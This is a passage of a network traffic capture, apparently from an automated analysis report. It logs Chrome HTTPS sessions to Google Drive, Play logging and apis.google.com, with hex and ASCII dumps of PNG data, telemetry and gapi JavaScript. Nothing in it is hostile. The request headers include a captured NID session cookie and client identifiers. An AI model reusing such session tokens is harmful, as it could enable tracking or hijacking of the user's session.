report-to="AppsViewerFrontendHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQtwcx5fe3Mkm8OHXq1wl9aT8wvjEgoJi3bLM1PLUIt20ovy8ktS8lHgjAyMTQ0MDcz0Dw_gCQwBe9jB8" Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:03 UTC	2046	IN	Data Raw: 37 66 66 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 01 c2 08 02 00 00 00 98 01 3a 9f 00 00 20 00 49 44 41 54 78 9c ec dd 77 9c 1c c7 75 2f fa 73 aa aa d3 a4 9d 8d 58 2c 72 ce 99 04 08 30 83 99 12 49 49 14 15 28 c9 b2 b2 2d d9 92 6c 3f 5d d9 ef d9 7e be be 96 af ec 6b 59 92 65 91 12 93 2c 2a 90 62 02 73 06 13 40 12 20 41 02 44 24 91 73 d8 30 3b b9 a7 bb ab ea dc 3f 7a 31 58 2c 00 12 a4 56 66 40 7d 3f 24 3e bb 33 3d dd d5 bd b3 d3 bf ad 3a 5d 8d 61 48 00 00 04 c0 00 08 10 00 10 80 01 28 00 04 a0 c3 ff 32 20 05 80 c0 38 70 06 86 61 18 86 61 18 c6 89 20 11 bd db 6d 30 0c c3 30 0c c3 f8 40 31 9d 51 86 61 18 86 61 18 83 cc 04 2c c3 30 0c c3 30 8c 41 66 02 96 61 18 86 61 18 c6 20 33 01 cb 30 0c c3 30 0c 63 90 99 80 65 18 86 61 18 Data Ascii: 7ff2PNGIHDR : IDATxwu/sX,r0II(-l?]~kYe,*bs@ AD$s0;?z1X,Vf@}?$>3=:]aH(2 8paa m00@1Qaa,00Afaa 300cea
2024-11-14 19:43:03 UTC	2046	IN	Data Raw: ed dd 6e c5 a0 d2 64 35 66 99 65 bd db ed 30 0c c3 30 8c a3 98 80 75 ca 50 aa eb e5 55 b5 fb ee 05 ad df ed a6 0c 1a 24 68 fb b3 3f 4b 4e 9c 00 0c df ed b6 bc ef 11 11 28 05 44 80 08 00 47 fd 1b 2f 10 45 f2 60 a7 ae 96 81 31 66 db 00 00 8c 23 67 c0 39 5a 36 4f a7 d0 71 00 80 a4 94 87 3a c3 7d fb 40 29 d1 dc 24 86 0d e3 c9 e4 60 b7 15 74 14 e9 7c 5e 95 8a 24 95 68 69 e6 4d 4d 88 e6 3d 60 18 c6 7b 88 09 58 a7 10 b9 67 77 74 f3 2f 41 f0 77 bb 21 83 47 06 c1 a7 3f 95 a4 71 00 1f a0 9d 7a 97 a8 9e 9e 60 eb 36 d0 0a 85 85 96 60 96 0d 00 60 59 c0 39 13 1c 10 a3 9d 3b 0b f7 dc 2b 7b ba 51 08 66 5b 00 08 42 a0 10 28 04 cb 36 a6 3f 7a 95 37 7d 3a 49 e5 af 5b 57 b8 f5 57 c1 e6 ad 14 29 6b 58 7b f2 d2 8b 1a ae bc 12 6d 1b 10 21 0e 41 03 92 d0 3b 08 46 44 c1 b6 6d c1 Data Ascii: nd5fe00uPU$h?KN(DG/E`1f#g9Z6Oq:}@)$`t\|^$hiMM=`{Xgwt/Aw!G?qz`6``Y9;+{Qf[B(6?z7}:I[WW)kX{m!A;FDm
2024-11-14 19:43:03 UTC	2046	IN	Data Raw: a0 14 54 7d aa 54 01 14 29 05 4a a9 6a 55 fb 3e 48 a9 c3 50 17 4b aa 5a 53 41 00 b9 5e 9d 2f c8 ce 83 e4 97 e3 57 a1 e3 90 97 e4 99 34 f3 3c 66 db e8 ba 3c 99 62 13 26 38 73 66 67 ce 39 3b be 83 61 b8 6d 5b f1 de fb 93 e7 9d 63 b5 34 03 00 6a cd 9a 9a 65 67 4f fe a6 5f d4 9e 5f 0e 3a c2 44 c2 3b 67 a1 3b 6d aa 35 7c 84 18 39 5c 55 aa 54 0b d0 b6 ec e1 c3 a3 ee 6e e0 9c a7 d3 e8 ba c8 18 72 ce 2d cb 9b 92 f6 26 4d d4 be 1f 6c de 1c ac 79 ad b6 65 9b bf e6 35 31 7a 54 62 f6 6c 6b e8 50 de d0 80 87 3b cf 0c c3 30 7e 1f 26 60 19 c6 a9 41 a9 ea ca 97 8a 77 dc 09 52 42 a4 ad c9 53 1a 3e fb 59 b0 6d 44 8c 7b 7d 28 ae 0d 27 aa 17 89 f7 21 02 db e6 c9 54 df 6a fc 2a d4 02 00 aa 97 c6 03 63 88 0c 18 c6 5d 5f 40 44 44 14 45 71 d8 d2 41 48 51 48 61 08 b5 1a d5 02 0a Data Ascii: T}T)JjU>HPKZSA^/W4<f<b&8sfg9;am[c4jegO__:D;g;m5\|9\UTnr-&Mlye51zTblkP;0~&`AwRBS>YmD{}('!Tj*c]_@DDEqAHQHa
2024-11-14 19:43:03 UTC	2046	IN	Data Raw: 11 11 75 e5 20 92 c0 18 69 0d 99 64 d3 57 be e8 ce 98 7e a2 74 05 00 e4 fb a8 8f 0a f1 3a 8a 6a ab d7 94 1e 7c 50 76 75 b1 86 86 e4 c5 17 a7 cf 5c 84 71 be 21 2a 3f b9 b4 f7 86 1b 5b ff ee 6f d1 71 da bf fb 5d d1 dc 12 ae 5b 0b 51 44 9a 40 2b 92 32 da b1 2b da b3 0f 90 21 22 30 e6 9e 36 27 79 d6 d9 c8 18 00 90 d6 b2 ab ab 70 db 6d b9 9f 5e 4f 52 37 7d ed 4b 2d 7f fe 0d 4c a7 07 b6 89 31 9e c9 64 ae f8 90 3b 63 5a ef af 7f d3 fd 93 ff 4c 2d 3a 33 75 c9 c5 a2 a5 f9 a8 49 b0 10 11 91 37 34 24 4e 3f cd 99 30 be f4 f8 13 85 bb ee ac ae 5a 95 bc e0 82 d4 59 67 f3 6c 03 c6 93 3e fc 7e 48 a9 b8 f1 fd 67 1a 8b 0f 35 28 45 61 48 52 ea 30 04 4d 2c 93 66 ae 1b 57 d1 bd 9f e6 9d 3f dc df 49 f1 17 5a 53 3c 1b 48 1c bb 39 47 c6 a8 fe ed 7b 55 dc e6 e3 b6 90 0e 4f 6e 42 Data Ascii: u idW~t:j\|Pvu\q!*?[oq][QD@+2+!"06'ypm^OR7}K-L1d;cZL-:3uI74$N?0ZYgl>~Hg5(EaHR0M,fW?IZS<H9G{UOnB
2024-11-14 19:43:03 UTC	2046	IN	Data Raw: 64 bc b9 91 35 37 65 3e f7 59 3c 36 31 1c be 05 21 49 85 29 4b 47 32 d8 b2 05 85 00 21 50 70 e0 1c 11 79 53 33 4b f4 c5 23 d2 9a 72 79 60 03 2b e5 c9 f7 eb df 31 c6 6e 8b 94 06 00 00 20 00 49 44 41 54 eb 01 2b d8 b9 13 c1 42 c1 8f d4 e0 1f 0b 91 67 b3 d9 ab 3f 86 99 74 66 f1 62 10 a2 af aa fd 87 3f 02 05 0d 9f bb b6 e9 6b 5f e1 43 da de 5e fe 60 cc 1a 39 a2 e1 d3 9f 74 e6 cc ee fd e5 ad 3d 3f f8 41 e2 d2 cb 32 8b 2f b4 c7 8f 61 89 63 aa 0f 39 b7 46 8e 4c b7 b7 27 4e 3f bd f4 fc 8b 85 3b 6e f7 b7 6e 49 2f 98 6f 8f 1f cf 33 99 b7 fb 2e b5 da 87 34 7d fe f3 18 c9 f2 bd 0f c8 7d 07 40 29 10 0e cb 24 59 5b 33 6f 6b f5 ce 3d cf 9d 36 d5 19 35 8a a5 92 00 a0 ca 15 04 e2 71 a8 fd c3 89 7f bb fb 20 30 7c 7b 3b 45 04 4a e9 20 90 b9 9c 2e 14 74 6f 1e 90 25 2f b9 d8 Data Ascii: d57e>Y<61!I)KG2!PpyS3K#ry`+1n IDAT+Bg?tfb?k_C^`9t=?A2/ac9FL'N?;nnI/o3.4}}@)$Y[3ok=65q 0\|{;EJ .to%/
2024-11-14 19:43:03 UTC	879	IN	Data Raw: e1 ce 9c e9 8e 1b cb db da 58 26 83 b6 8d c8 e2 fd 45 c7 71 27 4f 72 c6 8c 09 f7 ef 8b 36 bd ae 7a 7b ab 3d 3d e4 38 22 db e0 8d 1d 7b e4 82 4d a9 54 77 77 f9 e9 a7 4b f7 2c a9 bd b6 56 e7 72 40 1c 04 03 20 0c 87 83 9e 89 8e cb 9b 1a fb 37 84 a2 48 76 76 46 fb 0f 58 a3 47 59 2d 2d 80 48 51 54 79 61 85 e8 68 77 a7 4e 7d db 7f 6f 10 c5 05 70 ba bb 3b d8 bd 37 d8 bc 59 ed d9 23 0b 79 72 3d 9e 48 58 99 94 3b 76 0c cb 34 b0 e6 66 4c a5 50 70 e4 9c a4 a2 20 50 bd 39 ea c9 11 41 b0 6b 77 b0 7d bb 3d 76 9c 33 72 04 4b 26 d1 b2 2a eb 37 f8 f7 2e 09 b7 6e 93 07 bb c2 ae 6e ea e9 46 d2 c0 6d e6 25 e3 19 19 78 47 7b fa a3 1f c9 5e 73 8d 3d 61 7c ff 41 67 92 52 15 8a e8 d8 3c 95 02 00 d0 da 5f bf 21 58 bb 36 fb e9 4f 79 53 a6 24 67 cd 12 6d ad 3c 99 04 38 89 f9 0e e2 Data Ascii: X&Eq'Or6z{==8"{MTwwK,Vr@ 7HvvFXGY--HQTyahwN}op;7Y#yr=HX;v4fLPp P9Akw}=v3rK&*7.nnFm%xG{^s=a\|AgR<_!X6OyS$gm<8
2024-11-14 19:43:03 UTC	1166	IN	Data Raw: e2 db e9 0b 2f b4 86 b4 1d 79 c3 10 a9 72 39 78 63 73 69 e9 52 ef cc 45 99 85 0b 81 73 90 b2 fc c4 d2 60 d9 b3 0d 57 5d e5 4d 9e d4 7f 38 f8 64 7f 62 9e c7 5d 97 37 36 da 23 46 c2 dc 39 ba 56 53 f9 82 3c 78 48 ee db eb 6f dd 56 bc eb de 4a 4b c6 9e 3c 25 31 6d aa 35 76 ac d5 d6 76 d4 0d 9d 88 fa 6e 94 19 1f ad 4a 35 3a b0 bf fa fc 8b a5 87 1f 0a d7 6f d1 bd 9d a4 14 02 b2 6c 86 8f 19 9b 98 3b 57 b4 b6 1c f9 15 20 a2 28 92 f9 7c b4 7b 8f 2a 96 d2 e7 9e 5d bf 9f 66 b8 6d 6b b0 ee 35 de d8 94 3c 63 81 19 2b 3c 05 99 80 75 ca 43 04 a5 ca 1b 36 64 ca 15 d1 de de 70 f1 05 c5 67 9e 8b f6 75 a1 9d ae 2d 5d 8a 97 5f 96 3c fd 34 40 d6 f5 f8 e3 cc f7 21 ed 42 5c 62 00 04 5a 53 a1 40 9d 87 40 08 10 cc b9 fc b2 86 4f 7f 32 dc ba 55 ad ef df a1 41 a0 42 88 14 9f 30 66 Data Ascii: /yr9xcsiREs`W]M8db]76#F9VS<xHoVJK<%1m5vvnJ5:ol;W (\|{*]fmk5<c+<uC6dpgu-]_<4@!B\bZS@@O2UAB0f
2024-11-14 19:43:03 UTC	1378	IN	Data Raw: 76 6c 5f b1 11 00 e4 72 27 8c 44 5a 63 32 d5 f4 d7 df ce 5c 72 71 e1 9e 7b 72 3f fb 39 e5 cb 47 5d e7 48 00 80 62 d4 f0 a6 3f fd 5a e6 ea 8f b1 01 77 71 7e c7 e2 9a 7a c7 61 6d ad a2 ad d5 9d 36 a5 f1 6a ad 83 40 f6 f4 c8 5c 6f d4 db 0b b5 9a 2e 16 00 09 5b 1c 2b 9d 8e 2b a5 48 69 ff e5 55 bd bf bb 43 fb 55 5d 28 a9 dd bb a9 54 41 c7 45 8b 03 b2 be fe 12 c7 49 9e 7b 4e fb bf ff 2b 6f 6c ac 8f b7 12 91 ae 54 82 d7 d6 e6 6e fd 75 e5 c1 07 50 23 01 e7 cd cd 7d 33 2a 69 4d a4 80 51 75 c3 a6 4c a5 72 a4 7f 2e 1e 23 83 be 0b 00 29 92 10 45 aa 5c 8e 0e 1e 94 bb 76 fa 9b 5e f7 5f 7f 83 95 8b 62 fc 84 c6 af 7e 25 39 7f be c8 66 e1 9d 9d ec e3 92 29 db e6 b6 0d 44 32 9f 57 e5 32 03 e4 99 4c 6a d1 19 d6 b8 d1 b5 a7 9e ce fd fb 8f c4 c8 51 c9 2b 3f dc f4 c5 3f b6 47 Data Ascii: vl_r'DZc2\rq{r?9G]Hb?Zwq~zam6j@\o.[++HiUCU](TAEI{N+olTnuP#}3*iMQuLr.#)E\v^_b~%9f)D2W2LjQ+??G
2024-11-14 19:43:03 UTC	1378	IN	Data Raw: 67 2c 74 86 0d e3 43 da 44 4b 0b 00 50 14 92 94 2c 3e 49 bf 25 22 8a 24 69 4d d5 6a b8 63 87 0e c3 f0 c0 01 7f e3 eb 6a e3 86 da e6 2d 88 3c fd a9 4f 78 53 a6 5a c3 86 c5 6b 23 ad 8f 7b 81 44 df ca b4 4c 2e 38 3d bf 64 49 e1 17 ff a5 3a 7b fa a7 2b d2 1a 51 5b 53 a7 b6 7c e7 5b a9 0b 2f 38 f9 11 cc 77 8e 0e bf 7d e3 69 5a e3 59 a3 e2 0b fd 18 8b 87 d4 78 26 93 fd d4 a7 9c c9 53 aa cf 3d 57 db b2 55 75 75 eb 4a 95 38 b3 5a 5a c4 90 36 7b cc e8 f4 45 17 89 51 23 8f 5a 6b 18 56 97 2e ed fe d1 8f c3 4d 6f 00 17 08 80 b6 27 86 8d f2 d7 af ab 2e 5f 9e 69 bf 1a 5d d7 19 39 32 31 67 5e f0 8b 5f a8 fd fb 75 73 53 65 e5 4b ba e6 ab 72 45 e7 f3 b4 7f 9f 96 52 57 aa 8a 31 86 b6 3d 62 48 6a d1 22 7b dc 78 7b cc 18 de 98 8d db f6 96 fb 15 e7 60 8a 24 68 d5 77 4d 09 e7 Data Ascii: g,tCDKP,>I%"$iMjcj-<OxSZk#{DL.8=dI:{+Q[S\|[/8w}iZYx&S=WUuuJ8ZZ6{EQ#ZkV.Mo'._i]921g^_usSeKrERW1=bHj"{x{`$hwM
2024-11-14 19:43:03 UTC	1378	IN	Data Raw: 00 e4 22 58 f9 32 49 d9 97 ae 08 40 4a e2 c8 9a 9a 92 17 9e df f8 c5 2f b8 53 26 bf 93 74 a5 b5 8e 87 50 ab d5 b8 87 0f 2c 0b 1d 47 24 12 03 27 37 22 d2 b5 5a b4 6f 5f b8 79 4b 79 c5 ca 60 d5 6a b9 7b 2f d8 00 9c 23 f6 5d b5 81 51 84 52 b2 49 93 ac 09 13 dc 09 e3 ed 21 ed 2c 95 62 8e 4d 44 24 25 01 68 64 dc b6 45 5b db c0 99 02 b4 8e 76 ec e8 fc c7 ef 45 bb f6 22 17 7d 79 c8 73 9a bf fe 27 ce a4 89 ce 94 c9 b9 bb ee a9 bc f6 9a 33 7e 1c 32 e6 ce 99 65 4f 18 5f 7a fc f1 a6 cf 7d ae ed 6f fe 86 71 01 b6 8d b6 8d ae 83 42 f4 1d d8 7a 57 93 d6 3a 0c 55 3e af 7a f3 54 2e 83 d2 c0 19 a6 52 bc a5 59 34 34 f4 1d 31 a2 70 fb f6 ea 0b 2f 96 1e 7f 3c 5c b3 86 6a 35 12 82 21 02 02 10 02 47 8a 14 02 b1 e6 66 6b d2 24 31 6a 94 35 64 08 cb a4 b9 eb 11 91 ca e7 29 91 48 Data Ascii: "X2I@J/S&tP,G$'7"Zo_yKy`j{/#]QRI!,bMD$%hdE[vE"}ys'3~2eO_z}oqBzW:U>zT.RY441p/<\j5!Gfk$1j5d)H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49799	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:03 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:03 UTC	6190	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 38 31 36 39 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1731613381699",null,null,null,
2024-11-14 19:43:04 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:03 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:04 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49801	216.58.206.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:03 UTC	1026	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:04 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 14 Nov 2024 18:27:47 GMT Expires: Fri, 14 Nov 2025 18:27:47 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 4517 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:04 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
